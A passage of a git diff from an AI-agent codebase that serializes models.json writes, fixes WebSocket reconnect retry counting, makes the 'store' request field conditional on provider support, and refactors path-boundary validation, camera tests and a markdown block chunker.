number): number { // Keep catalog refresh behavior for stale low values while preserving @@ -141,8 +148,11 @@ async function resolveProvidersForModelsJson(params: { function mergeWithExistingProviderSecrets(params: { nextProviders: Record; existingProviders: Record[string]>; + secretRefManagedProviders: ReadonlySet; + explicitBaseUrlProviders: ReadonlySet; }): Record { - const { nextProviders, existingProviders } = params; + const { nextProviders, existingProviders, secretRefManagedProviders, explicitBaseUrlProviders } = + params; const mergedProviders: Record = {}; for (const [key, entry] of Object.entries(existingProviders)) { mergedProviders[key] = entry; @@ -159,10 +169,19 @@ function mergeWithExistingProviderSecrets(params: { continue; } const preserved: Record = {}; - if (typeof existing.apiKey === "string" && existing.apiKey) { + if ( + !secretRefManagedProviders.has(key) && + typeof existing.apiKey === "string" && + existing.apiKey && + !isNonSecretApiKeyMarker(existing.apiKey, { includeEnvVarName: false }) + ) { preserved.apiKey = existing.apiKey; } - if (typeof existing.baseUrl === "string" && existing.baseUrl) { + if ( + !explicitBaseUrlProviders.has(key) && + typeof existing.baseUrl === "string" && + existing.baseUrl + ) { preserved.baseUrl = existing.baseUrl; } mergedProviders[key] = { ...newEntry, ...preserved }; @@ -174,6 +193,8 @@ async function resolveProvidersForMode(params: { mode: NonNullable; targetPath: string; providers: Record; + secretRefManagedProviders: ReadonlySet; + explicitBaseUrlProviders: ReadonlySet; }): Promise> { if (params.mode !== "merge") { return params.providers; @@ -189,6 +210,8 @@ async function resolveProvidersForMode(params: { return mergeWithExistingProviderSecrets({ nextProviders: params.providers, existingProviders, + secretRefManagedProviders: params.secretRefManagedProviders, + explicitBaseUrlProviders: params.explicitBaseUrlProviders, }); } @@ -200,45 +223,104 @@ async function readRawFile(pathname: string): Promise { } } +async function ensureModelsFileMode(pathname: string): Promise { + await fs.chmod(pathname, 0o600).catch(() => { + // best-effort + }); +} + +function resolveModelsConfigInput(config?: OpenClawConfig): OpenClawConfig { + const runtimeSource = getRuntimeConfigSourceSnapshot(); + if (!runtimeSource) { + return config ?? loadConfig(); + } + if (!config) { + return runtimeSource; + } + const runtimeResolved = getRuntimeConfigSnapshot(); + if (runtimeResolved && config === runtimeResolved) { + return runtimeSource; + } + return config; +} + +async function withModelsJsonWriteLock(targetPath: string, run: () => Promise): Promise { + const prior = MODELS_JSON_WRITE_LOCKS.get(targetPath) ?? Promise.resolve(); + let release: () => void = () => {}; + const gate = new Promise((resolve) => { + release = resolve; + }); + const pending = prior.then(() => gate); + MODELS_JSON_WRITE_LOCKS.set(targetPath, pending); + try { + await prior; + return await run(); + } finally { + release(); + if (MODELS_JSON_WRITE_LOCKS.get(targetPath) === pending) { + MODELS_JSON_WRITE_LOCKS.delete(targetPath); + } + } +} + export async function ensureOpenClawModelsJson( config?: OpenClawConfig, agentDirOverride?: string, ): Promise<{ agentDir: string; wrote: boolean }> { - const cfg = config ?? loadConfig(); + const cfg = resolveModelsConfigInput(config); const agentDir = agentDirOverride?.trim() ? agentDirOverride.trim() : resolveOpenClawAgentDir(); - - // Ensure config env vars (e.g. AWS_PROFILE, AWS_ACCESS_KEY_ID) are - // available in process.env before implicit provider discovery. Some - // callers (agent runner, tools) pass config objects that haven't gone - // through the full loadConfig() pipeline which applies these. - applyConfigEnvVars(cfg); - - const providers = await resolveProvidersForModelsJson({ cfg, agentDir }); - - if (Object.keys(providers).length === 0) { - return { agentDir, wrote: false }; - } - - const mode = cfg.models?.mode ?? DEFAULT_MODE; const targetPath = path.join(agentDir, "models.json"); - const mergedProviders = await resolveProvidersForMode({ - mode, - targetPath, - providers, + + return await withModelsJsonWriteLock(targetPath, async () => { + // Ensure config env vars (e.g. AWS_PROFILE, AWS_ACCESS_KEY_ID) are + // available in process.env before implicit provider discovery. Some + // callers (agent runner, tools) pass config objects that haven't gone + // through the full loadConfig() pipeline which applies these. + applyConfigEnvVars(cfg); + + const providers = await resolveProvidersForModelsJson({ cfg, agentDir }); + + if (Object.keys(providers).length === 0) { + return { agentDir, wrote: false }; + } + + const mode = cfg.models?.mode ?? DEFAULT_MODE; + const secretRefManagedProviders = new Set(); + const explicitBaseUrlProviders = new Set( + Object.entries(cfg.models?.providers ?? {}) + .map(([key, provider]) => [key.trim(), provider] as const) + .filter( + ([key, provider]) => + Boolean(key) && typeof provider?.baseUrl === "string" && provider.baseUrl.trim(), + ) + .map(([key]) => key), + ); + + const normalizedProviders = + normalizeProviders({ + providers, + agentDir, + secretDefaults: cfg.secrets?.defaults, + secretRefManagedProviders, + }) ?? providers; + const mergedProviders = await resolveProvidersForMode({ + mode, + targetPath, + providers: normalizedProviders, + secretRefManagedProviders, + explicitBaseUrlProviders, + }); + const next = `${JSON.stringify({ providers: mergedProviders }, null, 2)}\n`; + const existingRaw = await readRawFile(targetPath); + + if (existingRaw === next) { + await ensureModelsFileMode(targetPath); + return { agentDir, wrote: false }; + } + + await fs.mkdir(agentDir, { recursive: true, mode: 0o700 }); + await fs.writeFile(targetPath, next, { mode: 0o600 }); + await ensureModelsFileMode(targetPath); + return { agentDir, wrote: true }; }); - - const normalizedProviders = normalizeProviders({ - providers: mergedProviders, - agentDir, - }); - const next = `${JSON.stringify({ providers: normalizedProviders }, null, 2)}\n`; - const existingRaw = await readRawFile(targetPath); - - if (existingRaw === next) { - return { agentDir, wrote: false }; - } - - await fs.mkdir(agentDir, { recursive: true, mode: 0o700 }); - await fs.writeFile(targetPath, next, { mode: 0o600 }); - return { agentDir, wrote: true }; } diff --git a/src/agents/models-config.write-serialization.test.ts b/src/agents/models-config.write-serialization.test.ts new file mode 100644 index 00000000000..a69fd43b830 --- /dev/null +++ b/src/agents/models-config.write-serialization.test.ts @@ -0,0 +1,55 @@ +import fs from "node:fs/promises"; +import { describe, expect, it, vi } from "vitest"; +import { + CUSTOM_PROXY_MODELS_CONFIG, + installModelsConfigTestHooks, + withModelsTempHome, +} from "./models-config.e2e-harness.js"; +import { ensureOpenClawModelsJson } from "./models-config.js"; +import { readGeneratedModelsJson } from "./models-config.test-utils.js"; + +installModelsConfigTestHooks(); + +describe("models-config write serialization", () => { + it("serializes concurrent models.json writes to avoid overlap", async () => { + await withModelsTempHome(async () => { + const first = structuredClone(CUSTOM_PROXY_MODELS_CONFIG); + const second = structuredClone(CUSTOM_PROXY_MODELS_CONFIG); + const firstModel = first.models?.providers?.["custom-proxy"]?.models?.[0]; + const secondModel = second.models?.providers?.["custom-proxy"]?.models?.[0]; + if (!firstModel || !secondModel) { + throw new Error("custom-proxy fixture missing expected model entries"); + } + firstModel.name = "Proxy A"; + secondModel.name = "Proxy B with longer name"; + + const originalWriteFile = fs.writeFile.bind(fs); + let inFlightWrites = 0; + let maxInFlightWrites = 0; + const writeSpy = vi.spyOn(fs, "writeFile").mockImplementation(async (...args) => { + inFlightWrites += 1; + if (inFlightWrites > maxInFlightWrites) { + maxInFlightWrites = inFlightWrites; + } + await new Promise((resolve) => setTimeout(resolve, 20)); + try { + return await originalWriteFile(...args); + } finally { + inFlightWrites -= 1; + } + }); + + try { + await Promise.all([ensureOpenClawModelsJson(first), ensureOpenClawModelsJson(second)]); + } finally { + writeSpy.mockRestore(); + } + + expect(maxInFlightWrites).toBe(1); + const parsed = await readGeneratedModelsJson<{ + providers: { "custom-proxy"?: { models?: Array<{ name?: string }> } }; + }>(); + expect(parsed.providers["custom-proxy"]?.models?.[0]?.name).toBe("Proxy B with longer name"); + }); + }); +}); diff --git a/src/agents/openai-ws-connection.test.ts b/src/agents/openai-ws-connection.test.ts index 64afd9d0baf..fb80f510ac1 100644 --- a/src/agents/openai-ws-connection.test.ts +++ b/src/agents/openai-ws-connection.test.ts @@ -506,6 +506,53 @@ describe("OpenAIWebSocketManager", () => { expect(maxRetryError).toBeDefined(); }); + it("does not double-count retries when error and close both fire on a reconnect attempt", async () => { + // In the real `ws` library, a failed connection fires "error" followed + // by "close". Previously, both the onClose handler AND the promise + // .catch() in _scheduleReconnect called _scheduleReconnect(), which + // double-incremented retryCount and exhausted the retry budget + // prematurely (e.g. 3 retries became ~1-2 actual attempts). + const manager = buildManager({ maxRetries: 3, backoffDelaysMs: [5, 5, 5] }); + const errors = attachErrorCollector(manager); + const p = manager.connect("sk-test"); + lastSocket().simulateOpen(); + await p; + + // Drop the established connection — triggers first reconnect schedule + lastSocket().simulateClose(1006, "Network error"); + + // Advance past first retry delay — a new socket is created + await vi.advanceTimersByTimeAsync(10); + const sock2 = lastSocket(); + + // Simulate a realistic failure: error fires first, then close follows. + sock2.simulateError(new Error("ECONNREFUSED")); + sock2.simulateClose(1006, "Connection failed"); + + // Advance past second retry delay — another socket should be created + // because we've only used 2 retries (not 3 from double-counting). + await vi.advanceTimersByTimeAsync(10); + const sock3 = lastSocket(); + expect(sock3).not.toBe(sock2); + + // Third attempt also fails with error+close + sock3.simulateError(new Error("ECONNREFUSED")); + sock3.simulateClose(1006, "Connection failed"); + + // Advance past third retry delay — one more attempt (retry 3 of 3) + await vi.advanceTimersByTimeAsync(10); + const sock4 = lastSocket(); + expect(sock4).not.toBe(sock3); + + // Fourth socket also fails — now retries should be exhausted (3/3) + sock4.simulateError(new Error("ECONNREFUSED")); + sock4.simulateClose(1006, "Connection failed"); + await vi.advanceTimersByTimeAsync(10); + + const maxRetryError = errors.find((e) => e.message.includes("max reconnect retries")); + expect(maxRetryError).toBeDefined(); + }); + it("resets retry count after a successful reconnect", async () => { const manager = buildManager({ maxRetries: 3, backoffDelaysMs: [5, 10, 20] }); const p = manager.connect("sk-test"); diff --git a/src/agents/openai-ws-connection.ts b/src/agents/openai-ws-connection.ts index b3214c3e291..a765c0f3780 100644 --- a/src/agents/openai-ws-connection.ts +++ b/src/agents/openai-ws-connection.ts @@ -446,11 +446,11 @@ export class OpenAIWebSocketManager extends EventEmitter { if (this.closed) { return; } - this._openConnection().catch((err: unknown) => { - // onError handler already emitted error event; schedule next retry. - void err; - this._scheduleReconnect(); - }); + // The onClose handler already calls _scheduleReconnect() for the next + // attempt, so we intentionally swallow the rejection here to avoid + // double-scheduling (which would double-increment retryCount per + // failed reconnect and exhaust the retry budget prematurely). + this._openConnection().catch(() => {}); }, delayMs); } diff --git a/src/agents/openai-ws-stream.test.ts b/src/agents/openai-ws-stream.test.ts index b467de80262..00d0a3df64c 100644 --- a/src/agents/openai-ws-stream.test.ts +++ b/src/agents/openai-ws-stream.test.ts @@ -634,6 +634,8 @@ describe("createOpenAIWebSocketStreamFn", () => { releaseWsSession("sess-incremental"); releaseWsSession("sess-full"); releaseWsSession("sess-tools"); + releaseWsSession("sess-store-default"); + releaseWsSession("sess-store-compat"); }); it("connects to the WebSocket on first call", async () => { @@ -691,6 +693,73 @@ describe("createOpenAIWebSocketStreamFn", () => { expect(Array.isArray(sent.input)).toBe(true); }); + it("includes store:false by default", async () => { + const streamFn = createOpenAIWebSocketStreamFn("sk-test", "sess-store-default"); + const stream = streamFn( + modelStub as Parameters[0], + contextStub as Parameters[1], + ); + + const completed = new Promise((res, rej) => { + queueMicrotask(async () => { + try { + await new Promise((r) => setImmediate(r)); + const manager = MockManager.lastInstance!; + manager.simulateEvent({ + type: "response.completed", + response: makeResponseObject("resp_store_default", "ok"), + }); + for await (const _ of await resolveStream(stream)) { + // consume + } + res(); + } catch (e) { + rej(e); + } + }); + }); + await completed; + + const sent = MockManager.lastInstance!.sentEvents[0] as Record; + expect(sent.store).toBe(false); + }); + + it("omits store when compat.supportsStore is false (#39086)", async () => { + releaseWsSession("sess-store-compat"); + const noStoreModel = { + ...modelStub, + compat: { supportsStore: false }, + }; + const streamFn = createOpenAIWebSocketStreamFn("sk-test", "sess-store-compat"); + const stream = streamFn( + noStoreModel as Parameters[0], + contextStub as Parameters[1], + ); + + const completed = new Promise((res, rej) => { + queueMicrotask(async () => { + try { + await new Promise((r) => setImmediate(r)); + const manager = MockManager.lastInstance!; + manager.simulateEvent({ + type: "response.completed", + response: makeResponseObject("resp_no_store", "ok"), + }); + for await (const _ of await resolveStream(stream)) { + // consume + } + res(); + } catch (e) { + rej(e); + } + }); + }); + await completed; + + const sent = MockManager.lastInstance!.sentEvents[0] as Record; + expect(sent).not.toHaveProperty("store"); + }); + it("emits an AssistantMessage on response.completed", async () => { const streamFn = createOpenAIWebSocketStreamFn("sk-test", "sess-2"); const stream = streamFn( diff --git a/src/agents/openai-ws-stream.ts b/src/agents/openai-ws-stream.ts index b7449f30991..d7fd1db99c6 100644 --- a/src/agents/openai-ws-stream.ts +++ b/src/agents/openai-ws-stream.ts @@ -589,10 +589,15 @@ export function createOpenAIWebSocketStreamFn( extraParams.reasoning = reasoning; } + // Respect compat.supportsStore — providers like Gemini reject unknown + // fields such as `store` with a 400 error. Fixes #39086. + const supportsStore = (model as { compat?: { supportsStore?: boolean } }).compat + ?.supportsStore; + const payload: Record = { type: "response.create", model: model.id, - store: false, + ...(supportsStore !== false ? { store: false } : {}), input: inputItems, instructions: context.systemPrompt ?? undefined, tools: tools.length > 0 ? tools : undefined, diff --git a/src/agents/openclaw-tools.camera.test.ts b/src/agents/openclaw-tools.camera.test.ts index db41cd2857a..83c4d3e48d6 100644 --- a/src/agents/openclaw-tools.camera.test.ts +++ b/src/agents/openclaw-tools.camera.test.ts @@ -25,6 +25,23 @@ const JPG_PAYLOAD = { width: 1, height: 1, } as const; +const PHOTOS_LATEST_ACTION_INPUT = { action: "photos_latest", node: NODE_ID } as const; +const PHOTOS_LATEST_DEFAULT_PARAMS = { + limit: 1, + maxWidth: 1600, + quality: 0.85, +} as const; +const PHOTOS_LATEST_PAYLOAD = { + photos: [ + { + format: "jpeg", + base64: "aGVsbG8=", + width: 1, + height: 1, + createdAt: "2026-03-04T00:00:00Z", + }, + ], +} as const; type GatewayCall = { method: string; params?: unknown }; @@ -153,6 +170,25 @@ function setupSystemRunGateway(params: { }); } +function setupPhotosLatestMock(params?: { remoteIp?: string }) { + setupNodeInvokeMock({ + ...(params?.remoteIp ? { remoteIp: params.remoteIp } : {}), + onInvoke: (invokeParams) => { + expect(invokeParams).toMatchObject({ + command: "photos.latest", + params: PHOTOS_LATEST_DEFAULT_PARAMS, + }); + return { payload: PHOTOS_LATEST_PAYLOAD }; + }, + }); +} + +async function executePhotosLatest(params: { modelHasVision: boolean }) { + return executeNodes(PHOTOS_LATEST_ACTION_INPUT, { + modelHasVision: params.modelHasVision, + }); +} + beforeEach(() => { callGateway.mockClear(); vi.unstubAllGlobals(); @@ -377,40 +413,9 @@ describe("nodes photos_latest", () => { }); it("returns MEDIA paths and no inline images when model has no vision", async () => { - setupNodeInvokeMock({ - remoteIp: "198.51.100.42", - onInvoke: (invokeParams) => { - expect(invokeParams).toMatchObject({ - command: "photos.latest", - params: { - limit: 1, - maxWidth: 1600, - quality: 0.85, - }, - }); - return { - payload: { - photos: [ - { - format: "jpeg", - base64: "aGVsbG8=", - width: 1, - height: 1, - createdAt: "2026-03-04T00:00:00Z", - }, - ], - }, - }; - }, - }); + setupPhotosLatestMock({ remoteIp: "198.51.100.42" }); - const result = await executeNodes( - { - action: "photos_latest", - node: NODE_ID, - }, - { modelHasVision: false }, - ); + const result = await executePhotosLatest({ modelHasVision: false }); expectNoImages(result); expect(result.content?.[0]).toMatchObject({ @@ -426,39 +431,9 @@ describe("nodes photos_latest", () => { }); it("includes inline image blocks when model has vision", async () => { - setupNodeInvokeMock({ - onInvoke: (invokeParams) => { - expect(invokeParams).toMatchObject({ - command: "photos.latest", - params: { - limit: 1, - maxWidth: 1600, - quality: 0.85, - }, - }); - return { - payload: { - photos: [ - { - format: "jpeg", - base64: "aGVsbG8=", - width: 1, - height: 1, - createdAt: "2026-03-04T00:00:00Z", - }, - ], - }, - }; - }, - }); + setupPhotosLatestMock(); - const result = await executeNodes( - { - action: "photos_latest", - node: NODE_ID, - }, - { modelHasVision: true }, - ); + const result = await executePhotosLatest({ modelHasVision: true }); expect(result.content?.[0]).toMatchObject({ type: "text", diff --git a/src/agents/owner-display.test.ts b/src/agents/owner-display.test.ts index 42b3d156170..743ee0c31e4 100644 --- a/src/agents/owner-display.test.ts +++ b/src/agents/owner-display.test.ts @@ -13,7 +13,7 @@ describe("resolveOwnerDisplaySetting", () => { expect(resolveOwnerDisplaySetting(cfg)).toEqual({ ownerDisplay: "hash", - ownerDisplaySecret: "owner-secret", + ownerDisplaySecret: "owner-secret", // pragma: allowlist secret }); }); @@ -38,7 +38,7 @@ describe("resolveOwnerDisplaySetting", () => { const cfg = { commands: { ownerDisplay: "raw", - ownerDisplaySecret: "owner-secret", + ownerDisplaySecret: "owner-secret", // pragma: allowlist secret }, } as OpenClawConfig; @@ -67,7 +67,7 @@ describe("ensureOwnerDisplaySecret", () => { const cfg = { commands: { ownerDisplay: "hash", - ownerDisplaySecret: "existing-owner-secret", + ownerDisplaySecret: "existing-owner-secret", // pragma: allowlist secret }, } as OpenClawConfig; diff --git a/src/agents/path-policy.ts b/src/agents/path-policy.ts index e289ee406cb..f6960bf9500 100644 --- a/src/agents/path-policy.ts +++ b/src/agents/path-policy.ts @@ -19,6 +19,33 @@ function throwPathEscapesBoundary(params: { throw new Error(`Path escapes ${boundary}${suffix}: ${params.candidate}`); } +function validateRelativePathWithinBoundary(params: { + relativePath: string; + isAbsolutePath: (path: string) => boolean; + options?: RelativePathOptions; + rootResolved: string; + candidate: string; +}): string { + if (params.relativePath === "" || params.relativePath === ".") { + if (params.options?.allowRoot) { + return ""; + } + throwPathEscapesBoundary({ + options: params.options, + rootResolved: params.rootResolved, + candidate: params.candidate, + }); + } + if (params.relativePath.startsWith("..") || params.isAbsolutePath(params.relativePath)) { + throwPathEscapesBoundary({ + options: params.options, + rootResolved: params.rootResolved, + candidate: params.candidate, + }); + } + return params.relativePath; +} + function toRelativePathUnderRoot(params: { root: string; candidate: string; @@ -35,47 +62,44 @@ function toRelativePathUnderRoot(params: { const rootForCompare = normalizeWindowsPathForComparison(rootResolved); const targetForCompare = normalizeWindowsPathForComparison(resolvedCandidate); const relative = path.win32.relative(rootForCompare, targetForCompare); - if (relative === "" || relative === ".") { - if (params.options?.allowRoot) { - return ""; - } - throwPathEscapesBoundary({ - options: params.options, - rootResolved, - candidate: params.candidate, - }); - } - if (relative.startsWith("..") || path.win32.isAbsolute(relative)) { - throwPathEscapesBoundary({ - options: params.options, - rootResolved, - candidate: params.candidate, - }); - } - return relative; + return validateRelativePathWithinBoundary({ + relativePath: relative, + isAbsolutePath: path.win32.isAbsolute, + options: params.options, + rootResolved, + candidate: params.candidate, + }); } const rootResolved = path.resolve(params.root); const resolvedCandidate = path.resolve(resolvedInput); const relative = path.relative(rootResolved, resolvedCandidate); - if (relative === "" || relative === ".") { - if (params.options?.allowRoot) { - return ""; - } - throwPathEscapesBoundary({ - options: params.options, - rootResolved, - candidate: params.candidate, - }); - } - if (relative.startsWith("..") || path.isAbsolute(relative)) { - throwPathEscapesBoundary({ - options: params.options, - rootResolved, - candidate: params.candidate, - }); - } - return relative; + return validateRelativePathWithinBoundary({ + relativePath: relative, + isAbsolutePath: path.isAbsolute, + options: params.options, + rootResolved, + candidate: params.candidate, + }); +} + +function toRelativeBoundaryPath(params: { + root: string; + candidate: string; + options?: Pick; + boundaryLabel: string; + includeRootInError?: boolean; +}): string { + return toRelativePathUnderRoot({ + root: params.root, + candidate: params.candidate, + options: { + allowRoot: params.options?.allowRoot, + cwd: params.options?.cwd, + boundaryLabel: params.boundaryLabel, + includeRootInError: params.includeRootInError, + }, + }); } export function toRelativeWorkspacePath( @@ -83,14 +107,11 @@ export function toRelativeWorkspacePath( candidate: string, options?: Pick, ): string { - return toRelativePathUnderRoot({ + return toRelativeBoundaryPath({ root, candidate, - options: { - allowRoot: options?.allowRoot, - cwd: options?.cwd, - boundaryLabel: "workspace root", - }, + options, + boundaryLabel: "workspace root", }); } @@ -99,15 +120,12 @@ export function toRelativeSandboxPath( candidate: string, options?: Pick, ): string { - return toRelativePathUnderRoot({ + return toRelativeBoundaryPath({ root, candidate, - options: { - allowRoot: options?.allowRoot, - cwd: options?.cwd, - boundaryLabel: "sandbox root", - includeRootInError: true, - }, + options, + boundaryLabel: "sandbox root", + includeRootInError: true, }); } diff --git a/src/agents/pi-embedded-block-chunker.test.ts b/src/agents/pi-embedded-block-chunker.test.ts index 0b6c858ef95..c8b1f5dda55 100644 --- a/src/agents/pi-embedded-block-chunker.test.ts +++ b/src/agents/pi-embedded-block-chunker.test.ts @@ -1,4 +1,5 @@ -import { describe, expect, it } from "vitest"; +import { describe, expect, it, vi } from "vitest"; +import * as fences from "../markdown/fences.js"; import { EmbeddedBlockChunker } from "./pi-embedded-block-chunker.js"; function createFlushOnParagraphChunker(params: { minChars: number; maxChars: number }) { @@ -120,4 +121,20 @@ describe("EmbeddedBlockChunker", () => { expect(chunks).toEqual(["Intro\n```js\nconst a = 1;\n\nconst b = 2;\n```"]); expect(chunker.bufferedText).toBe("After fence"); }); + + it("parses fence spans once per drain call for long fenced buffers", () => { + const parseSpy = vi.spyOn(fences, "parseFenceSpans"); + const chunker = new EmbeddedBlockChunker({ + minChars: 20, + maxChars: 80, + breakPreference: "paragraph", + }); + + chunker.append(`\`\`\`txt\n${"line\n".repeat(600)}\`\`\``); + const chunks = drainChunks(chunker); + + expect(chunks.length).toBeGreaterThan(2); + expect(parseSpy).toHaveBeenCalledTimes(1); + parseSpy.mockRestore(); + }); }); diff --git a/src/agents/pi-embedded-block-chunker.ts b/src/agents/pi-embedded-block-chunker.ts index b1266a1557a..11eddc2d190 100644 --- a/src/agents/pi-embedded-block-chunker.ts +++ b/src/agents/pi-embedded-block-chunker.ts @@ -12,6 +12,7 @@ export type BlockReplyChunking = { type FenceSplit = { closeFenceLine: string; reopenFenceLine: string; + fence: FenceSpan; }; type BreakResult = { @@ -28,6 +29,7 @@ function findSafeSentenceBreakIndex( text: string, fenceSpans: FenceSpan[], minChars: number, + offset = 0, ): number { const matches = text.matchAll(/[.!?](?=\s|$)/g); let sentenceIdx = -1; @@ -37,7 +39,7 @@ function findSafeSentenceBreakIndex( continue; } const candidate = at + 1; - if (isSafeFenceBreak(fenceSpans, candidate)) { + if (isSafeFenceBreak(fenceSpans, offset + candidate)) { sentenceIdx = candidate; } } @@ -49,8 +51,9 @@ function findSafeParagraphBreakIndex(params: { fenceSpans: FenceSpan[]; minChars: number; reverse: boolean; + offset?: number; }): number { - const { text, fenceSpans, minChars, reverse } = params; + const { text, fenceSpans, minChars, reverse, offset = 0 } = params; let paragraphIdx = reverse ? text.lastIndexOf("\n\n") : text.indexOf("\n\n"); while (reverse ? paragraphIdx >= minChars : paragraphIdx !== -1) { const candidates = [paragraphIdx, paragraphIdx + 1]; @@ -61,7 +64,7 @@ function findSafeParagraphBreakIndex(params: { if (candidate < 0 || candidate >= text.length) { continue; } - if (isSafeFenceBreak(fenceSpans, candidate)) { + if (isSafeFenceBreak(fenceSpans, offset + candidate)) { return candidate; } } @@ -77,11 +80,12 @@ function findSafeNewlineBreakIndex(params: { fenceSpans: FenceSpan[]; minChars: number; reverse: boolean; + offset?: number; }): number { - const { text, fenceSpans, minChars, reverse } = params; + const { text, fenceSpans, minChars, reverse, offset = 0 } = params; let newlineIdx = reverse ? text.lastIndexOf("\n") : text.indexOf("\n"); while (reverse ? newlineIdx >= minChars : newlineIdx !== -1) { - if (newlineIdx >= minChars && isSafeFenceBreak(fenceSpans, newlineIdx)) { + if (newlineIdx >= minChars && isSafeFenceBreak(fenceSpans, offset + newlineIdx)) { return newlineIdx; } newlineIdx = reverse @@ -125,14 +129,7 @@ export class EmbeddedBlockChunker { const minChars = Math.max(1, Math.floor(this.#chunking.minChars)); const maxChars = Math.max(minChars, Math.floor(this.#chunking.maxChars)); - // When flushOnParagraph is set (chunkMode="newline"), eagerly split on \n\n - // boundaries regardless of minChars so each paragraph is sent immediately. - if (this.#chunking.flushOnParagraph && !force) { - this.#drainParagraphs(emit, maxChars); - return; - } - - if (this.#buffer.length < minChars && !force) { + if (this.#buffer.length < minChars && !force && !this.#chunking.flushOnParagraph) { return; } @@ -144,108 +141,132 @@ export class EmbeddedBlockChunker { return; } - while (this.#buffer.length >= minChars || (force && this.#buffer.length > 0)) { + const source = this.#buffer; + const fenceSpans = parseFenceSpans(source); + let start = 0; + let reopenFence: FenceSpan | undefined; + + while (start < source.length) { + const reopenPrefix = reopenFence ? `${reopenFence.openLine}\n` : ""; + const remainingLength = reopenPrefix.length + (source.length - start); + + if (!force && !this.#chunking.flushOnParagraph && remainingLength < minChars) { + break; + } + + if (this.#chunking.flushOnParagraph && !force) { + const paragraphBreak = findNextParagraphBreak(source, fenceSpans, start); + const paragraphLimit = Math.max(1, maxChars - reopenPrefix.length); + if (paragraphBreak && paragraphBreak.index - start <= paragraphLimit) { + const chunk = `${reopenPrefix}${source.slice(start, paragraphBreak.index)}`; + if (chunk.trim().length > 0) { + emit(chunk); + } + start = skipLeadingNewlines(source, paragraphBreak.index + paragraphBreak.length); + reopenFence = undefined; + continue; + } + if (remainingLength < maxChars) { + break; + } + } + + const view = source.slice(start); const breakResult = - force && this.#buffer.length <= maxChars - ? this.#pickSoftBreakIndex(this.#buffer, 1) - : this.#pickBreakIndex(this.#buffer, force ? 1 : undefined); + force && remainingLength <= maxChars + ? this.#pickSoftBreakIndex(view, fenceSpans, 1, start) + : this.#pickBreakIndex( + view, + fenceSpans, + force || this.#chunking.flushOnParagraph ? 1 : undefined, + start, + ); if (breakResult.index <= 0) { if (force) { - emit(this.#buffer); - this.#buffer = ""; + emit(`${reopenPrefix}${source.slice(start)}`); + start = source.length; + reopenFence = undefined; } - return; + break; } - if (!this.#emitBreakResult(breakResult, emit)) { + const consumed = this.#emitBreakResult({ + breakResult, + emit, + reopenPrefix, + source, + start, + }); + if (consumed === null) { continue; } + start = consumed.start; + reopenFence = consumed.reopenFence; - if (this.#buffer.length < minChars && !force) { - return; + const nextLength = + (reopenFence ? `${reopenFence.openLine}\n`.length : 0) + (source.length - start); + if (nextLength < minChars && !force && !this.#chunking.flushOnParagraph) { + break; } - if (this.#buffer.length < maxChars && !force) { - return; + if (nextLength < maxChars && !force && !this.#chunking.flushOnParagraph) { + break; } } + this.#buffer = reopenFence + ? `${reopenFence.openLine}\n${source.slice(start)}` + : stripLeadingNewlines(source.slice(start)); } - /** Eagerly emit complete paragraphs (text before \n\n) regardless of minChars. */ - #drainParagraphs(emit: (chunk: string) => void, maxChars: number) { - while (this.#buffer.length > 0) { - const fenceSpans = parseFenceSpans(this.#buffer); - const paragraphBreak = findNextParagraphBreak(this.#buffer, fenceSpans); - if (!paragraphBreak || paragraphBreak.index > maxChars) { - // No paragraph boundary yet (or the next boundary is too far). If the - // buffer exceeds maxChars, fall back to normal break logic to avoid - // oversized chunks or unbounded accumulation. - if (this.#buffer.length >= maxChars) { - const breakResult = this.#pickBreakIndex(this.#buffer, 1); - if (breakResult.index > 0) { - this.#emitBreakResult(breakResult, emit); - continue; - } - } - return; - } - - const chunk = this.#buffer.slice(0, paragraphBreak.index); - if (chunk.trim().length > 0) { - emit(chunk); - } - this.#buffer = stripLeadingNewlines( - this.#buffer.slice(paragraphBreak.index + paragraphBreak.length), - ); - } - } - - #emitBreakResult(breakResult: BreakResult, emit: (chunk: string) => void): boolean { + #emitBreakResult(params: { + breakResult: BreakResult; + emit: (chunk: string) => void; + reopenPrefix: string; + source: string; + start: number; + }): { start: number; reopenFence?: FenceSpan } | null { + const { breakResult, emit, reopenPrefix, source, start } = params; const breakIdx = breakResult.index; if (breakIdx <= 0) { - return false; + return null; } - let rawChunk = this.#buffer.slice(0, breakIdx); + const absoluteBreakIdx = start + breakIdx; + let rawChunk = `${reopenPrefix}${source.slice(start, absoluteBreakIdx)}`; if (rawChunk.trim().length === 0) { - this.#buffer = stripLeadingNewlines(this.#buffer.slice(breakIdx)).trimStart(); - return false; + return { start: skipLeadingNewlines(source, absoluteBreakIdx), reopenFence: undefined }; } - let nextBuffer = this.#buffer.slice(breakIdx); const fenceSplit = breakResult.fenceSplit; if (fenceSplit) { const closeFence = rawChunk.endsWith("\n") ? `${fenceSplit.closeFenceLine}\n` : `\n${fenceSplit.closeFenceLine}\n`; rawChunk = `${rawChunk}${closeFence}`; - - const reopenFence = fenceSplit.reopenFenceLine.endsWith("\n") - ? fenceSplit.reopenFenceLine - : `${fenceSplit.reopenFenceLine}\n`; - nextBuffer = `${reopenFence}${nextBuffer}`; } emit(rawChunk); if (fenceSplit) { - this.#buffer = nextBuffer; - } else { - const nextStart = - breakIdx < this.#buffer.length && /\s/.test(this.#buffer[breakIdx]) - ? breakIdx + 1 - : breakIdx; - this.#buffer = stripLeadingNewlines(this.#buffer.slice(nextStart)); + return { start: absoluteBreakIdx, reopenFence: fenceSplit.fence }; } - return true; + const nextStart = + absoluteBreakIdx < source.length && /\s/.test(source[absoluteBreakIdx]) + ? absoluteBreakIdx + 1 + : absoluteBreakIdx; + return { start: skipLeadingNewlines(source, nextStart), reopenFence: undefined }; } - #pickSoftBreakIndex(buffer: string, minCharsOverride?: number): BreakResult { + #pickSoftBreakIndex( + buffer: string, + fenceSpans: FenceSpan[], + minCharsOverride?: number, + offset = 0, + ): BreakResult { const minChars = Math.max(1, Math.floor(minCharsOverride ?? this.#chunking.minChars)); if (buffer.length < minChars) { return { index: -1 }; } - const fenceSpans = parseFenceSpans(buffer); const preference = this.#chunking.breakPreference ?? "paragraph"; if (preference === "paragraph") { @@ -254,6 +275,7 @@ export class EmbeddedBlockChunker { fenceSpans, minChars, reverse: false, + offset, }); if (paragraphIdx !== -1) { return { index: paragraphIdx }; @@ -266,6 +288,7 @@ export class EmbeddedBlockChunker { fenceSpans, minChars, reverse: false, + offset, }); if (newlineIdx !== -1) { return { index: newlineIdx }; @@ -273,7 +296,7 @@ export class EmbeddedBlockChunker { } if (preference !== "newline") { - const sentenceIdx = 